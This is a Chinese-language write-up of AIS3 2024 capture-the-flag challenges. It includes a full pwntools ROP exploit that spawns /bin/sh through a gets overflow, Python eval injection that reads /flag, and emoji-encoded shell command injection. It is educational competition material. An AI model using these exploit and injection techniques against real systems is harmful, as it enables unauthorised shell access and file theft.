---
# System prepended metadata

title: AIS3 mfctf & pre-exam 2024 writeup
tags: [writeup]

---

# AIS3 mfctf & pre-exam 2024 writeup

[TOC]

## Web

### Evil Calculator

網頁是一個簡單的計算機程式

![image](https://hackmd.io/_uploads/r1gvMt-E0.png =400x)

透過攔截封包與 app.py 程式碼會發現他是將結果傳 POST 請求到 /calculate，並傳入 eval 做計算，所以可以傳入程式碼做解析，接下來看到 app.py 會發現傳送過去的 expression 空格跟底線都會被過濾，所以應該是不可以 import 其他東西，接下來看到 docker-compose.yml 可知 flag 在 /flag，因此直接透過開檔讀檔拿到 flag

app.py
```python=
from flask import Flask, request, jsonify, render_template

app = Flask(__name__)

@app.route('/calculate', methods=['POST'])
def calculate():
    data = request.json
    expression = data['expression'].replace(" ","").replace("_","")
    try:
        result = eval(expression)
    except Exception as e:
        result = str(e)
    return jsonify(result=str(result))

@app.route('/')
def index():
    return render_template('index.html')

if __name__ == '__main__':
    app.run("0.0.0.0",5001)
```

docker-compose.yml

```yaml=
services:
  evil_calc:
    build: .
    volumes:
      - ./app:/app:ro
      - ./flag:/flag:ro
    ports: 
      - "5001:5001"
```

可以用 burp 或是 python

![image](https://hackmd.io/_uploads/rJA0RxJ4C.png =500x)

![image](https://hackmd.io/_uploads/H1glEFZVC.png =400x)

AIS3{7RiANG13_5NAK3_I5_50_3Vi1}

## Rev

### The Long Print

先 decompile 後 (可以用 ida、ghidra、binary ninja...) 會發現他會先 sleep 很久才會 print 出 flag

![image](https://hackmd.io/_uploads/Bk4x_tWNC.png =500x)

所以可以改 sleep 值然後 patch 接下來 export 成執行檔

先找到控制 sleep 秒數的組語然後右鍵 patch instruction

![image](https://hackmd.io/_uploads/Hy9o_KWEC.png =700x)

![image](https://hackmd.io/_uploads/BkmstF-40.png =700x)

![image](https://hackmd.io/_uploads/HJ3ZqY-VA.png)

format 記得要設定成 Original File

![image](https://hackmd.io/_uploads/H1B7cK-N0.png)

接下來執行程式會發現它慢慢 print 出 flag，不過他輸出完會被清掉，所以要在最後的時候按 enter 防止他被清掉

![image](https://hackmd.io/_uploads/SyxvYK-NR.png)

AIS3{You_are_the_master_of_time_management!!!!?}

### 火拳のエース

將檔案 decompile 發現他會先分配給 buffer0~3 malloc 空間，然後會先進 print_flag()，然後要輸入 4 個字串，接下來進 xor_string()，和 complex_funxtion()，把字串轉換後再做最後比對

main function
![image](https://hackmd.io/_uploads/HkGk6YW4C.png =400x)

print_flag()
這邊會給出 flag 前墜 `AIS3{G0D`

![image](https://hackmd.io/_uploads/BksmCY-4R.png)

xor_string()

就是把字串跟傳進去的陣列做 xor

![image](https://hackmd.io/_uploads/BJR9CKZVC.png =400x)

complex_funxtion()

將傳入的參數做一些操作，好像也可以自己逆向，不過後面我選擇用 angr 做

![image](https://hackmd.io/_uploads/HJynkcZ4C.png =400x)

MyFirstCTF 賽後出題者說可以用 Angr 解出來，因此就看了一下 Angr

而這邊因為是用 scanf 去讀字串且空間是 malloc 出來的關係，所以我們也必須手動模擬這一部分，然後因為 xor_string() 裡面有 call 到 sscanf()，所以我將開始的點設定為全部 xor_string() 走完之後，然後再手動做完 xor_string() 的部分

```
實際程式：
buffer0 -> malloced address
Angr 模擬：
buffer0 -> malloced address -> fake heap address
```

參考資料：https://blog.csdn.net/u013648063/article/details/108831809

找 buffer0~4 的 address (可以用 ghidra、ida，但我用 nm)

![image](https://hackmd.io/_uploads/SJg0Z9-ER.png)

找到 heap 的 address (用 gdb 然後 vmmap)

![image](https://hackmd.io/_uploads/ByeVQz5ZNA.png =500x)

傳入 xor_string() 的 array (用 ghidra 或是 ida)

![image](https://hackmd.io/_uploads/Bk7cScWNA.png =800x)

```python=
import angr
import claripy

def xor(s, key):
    return ''.join(chr(ord(a) ^ b) for a, b in zip(s, key))

def main():
    start_addr = 0x080496ED
    p = angr.Project("./rage")

    initial_state = p.factory.blank_state(addr=start_addr)
    
    length = 8

    buffer0 = claripy.BVS("buffer0", length * 8)
    buffer1 = claripy.BVS("buffer1", length * 8)
    buffer2 = claripy.BVS("buffer2", length * 8)
    buffer3 = claripy.BVS("buffer3", length * 8)
    
    buffer0_addr = 0x090fb2d4
    buffer1_addr = 0x090fb2d8
    buffer2_addr = 0x090fb2dc
    buffer3_addr = 0x090fb2e0
    fake_addr0 = 0x804d000
    fake_addr1 = 0x804d010
    fake_addr2 = 0x804d020
    fake_addr3 = 0x804d030

    initial_state.memory.store(buffer0_addr, fake_addr0, endness=p.arch.memory_endness)
    initial_state.memory.store(buffer1_addr, fake_addr1, endness=p.arch.memory_endness)
    initial_state.memory.store(buffer2_addr, fake_addr2, endness=p.arch.memory_endness)
    initial_state.memory.store(buffer3_addr, fake_addr3, endness=p.arch.memory_endness)

    initial_state.memory.store(fake_addr0, buffer0)
    initial_state.memory.store(fake_addr1, buffer1)
    initial_state.memory.store(fake_addr2, buffer2)
    initial_state.memory.store(fake_addr3, buffer3)

    simgr = p.factory.simgr(initial_state)

    success = 0x08049859
    simgr.explore(find=success)

    if simgr.found:
        solution_state = simgr.found[0]
        solution0 = solution_state.solver.eval(buffer0, cast_to=bytes)
        solution1 = solution_state.solver.eval(buffer1, cast_to=bytes)
        solution2 = solution_state.solver.eval(buffer2, cast_to=bytes)
        solution3 = solution_state.solver.eval(buffer3, cast_to=bytes)
        xorarr0 = [0x0E, 0x0D, 0x7D, 0x06, 0x0F, 0x17, 0x76, 0x04]
        xorarr1 = [0x6D, 0x00, 0x1B, 0x7C, 0x6C, 0x13, 0x62, 0x11]
        xorarr2 = [0x1E, 0x7E, 0x06, 0x13, 0x07, 0x66, 0x0E, 0x71]
        xorarr3 = [0x17, 0x14, 0x1D, 0x70, 0x79, 0x67, 0x74, 0x33]
        flag0 = xor(solution0.decode(), xorarr0)
        flag1 = xor(solution1.decode(), xorarr1)
        flag2 = xor(solution2.decode(), xorarr2)
        flag3 = xor(solution3.decode(), xorarr3)
        flag = "AIS3{G0D"+ flag0 + flag1 + flag2 + flag3
        print(flag)

if __name__ == "__main__":
    main()
```

AIS3{G0D_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!}

## PWN

### Mathter

static linked 的 ROP 超基本題

static linked

![image](https://hackmd.io/_uploads/S1iMIq-EC.png)

decompile 後發現進了 calculator()

![image](https://hackmd.io/_uploads/SyqrU5WN0.png)

calculator() 基本上計算沒什麼問題及注入點，不過可以按 q 跳出 function，接下來會走到 goodbye()

![image](https://hackmd.io/_uploads/Hydxv5b4C.png =600x)

goodbye() 會看到他使用 gets 讀輸入，因此可以輕易進行 buffer overflow 並修改 return address，並加上他沒有 PIE，所以是一題 ROP 基本題

![image](https://hackmd.io/_uploads/Hk3XDcWER.png =400x)
![image](https://hackmd.io/_uploads/rkCdP9bV0.png)

solution:

先送 q 跳出 calculator()，接下來因為接收的字串宣告大小為 0x4，加上 save rbp 的 0x8，因此要先送 (0x4 + 0x8) 的字串，然後再串上 ROP Chain 就可以拿到 shell 了

```python=
from pwn import *
context.arch = 'amd64'
#r = process('./mathter')
r = remote('chals1.ais3.org', 50001)
r.sendlineafter(b': ', b'q')
rop = flat(
    0x00000000004126a3, # pop rsi ; ret
    0x4bc000, # writable address
    0x000000000042e3a7, # pop rax ; ret
    b'/bin/sh\x00',
    0x000000000042f981, # mov qword ptr [rsi], rax ; ret
    0x000000000042e3a7, # pop rax ; ret
    0x3b, # execve
    0x0000000000402540, # pop rdi ; ret
    0x4bc000, # writable address
    0x00000000004126a3, # pop rsi ; ret
    0x0, # NULL
    0x000000000047b917, # pop rdx ; pop rbx ; ret
    0x0, # NULL
    0x0, # NULL
    0x00000000004013ea, # syscall
)
leave = b'A' * (0x4 + 0x8) + rop
r.sendlineafter(b']\n', leave)
r.interactive()
```

![image](https://hackmd.io/_uploads/SJ43dqbNR.png =500x)

AIS3{0mg_k4zm4_mu57_b3_k1dd1ng_m3_2e89c9}

## Crypto

全都沒解

## misc

### Welcome

題目點開就有 flag 了

![image](https://hackmd.io/_uploads/BkLDljWN0.png =400x)

AIS3{Welc0me_to_AIS3_PreExam_2o24!}

### Quantum Nim Heist

要先做一次正常輸入，讓 count 跟 pile 都被賦予值，不然會觸發 Exception error，後面可以用除了 0、1、2 以外的非正常操作讓自己跳過動作，但每次跳過 AI 都還是會做操作移除，所以等 AI 自己拿到剩下一堆時，就可以把最後一堆拿完也就獲勝並拿到 flag 了

![image](https://hackmd.io/_uploads/BJIavWZER.png =400x)

AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?} 

### Emoji Console

打開網頁會發現是一個用 emoji 控制 command 的 console

![image](https://hackmd.io/_uploads/HyOEt5WEC.png =600x)

找了一段時間發現有 🐱 跟 ⭐ 分別代表 `cat`、`*`， 可以輸出目前目錄底下所有檔案

![image](https://hackmd.io/_uploads/SypqKcWV0.png =600x)

有輸出程式碼，裡面有各個 emoji 的對應，還有輸出以下字串

```
cat: flag: Is a directory
cat: templates: Is a directory
```

由此可知，要先進到 flag 資料夾再看

然後剛好有 💿、🚩，分別對應 cd、flag 不過接下來要截斷指令才可以開啟內容，再慢慢思考發現 😓、🤬，對應的是`;/`、`#$%&!`，串接起來會是`;/#$%&!`，正好可以用來截斷指令，再搭配前面的 🐱 跟 ⭐，可以看到以下檔案，會發現是 python 檔，用來開 flag 檔案的，所以要執行這個檔案

💿 🚩 😓🤬 🐱 ⭐：

![image](https://hackmd.io/_uploads/S1Z4T5Z4A.png =400x)

```
#flag-printer.py

print(open('/flag','r').read())
```

🐍 對應到 python，所以可以串 🐍 ⭐ 執行所有檔案

💿 🚩 😓🤬  🐍 ⭐：

![image](https://hackmd.io/_uploads/r18zTqb4A.png =400x)

AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈}

### Three Dimensional Secret

檔案是一個封包檔，不過我直接 strings 看他，會發現很多行都是這個格式，後面查了一下這個東西叫做 gcode，好像是用在 3D 列印
![image](https://hackmd.io/_uploads/HJRSksZ4A.png =300x)

所以將所有 `G` 前墜的資料都挑出來放到另一個檔案

`strings capture.pcapng|grep "G" > Gcode.gcode`

後面隨便找個 gcode viewer，我這邊用的是 https://gcode.ws/ ，記得切換到 3D，然後就看到 flag 了

![image](https://hackmd.io/_uploads/BJ_Vlib40.png =400x)

AIS3{b4d1y_tun3d_PriN73r}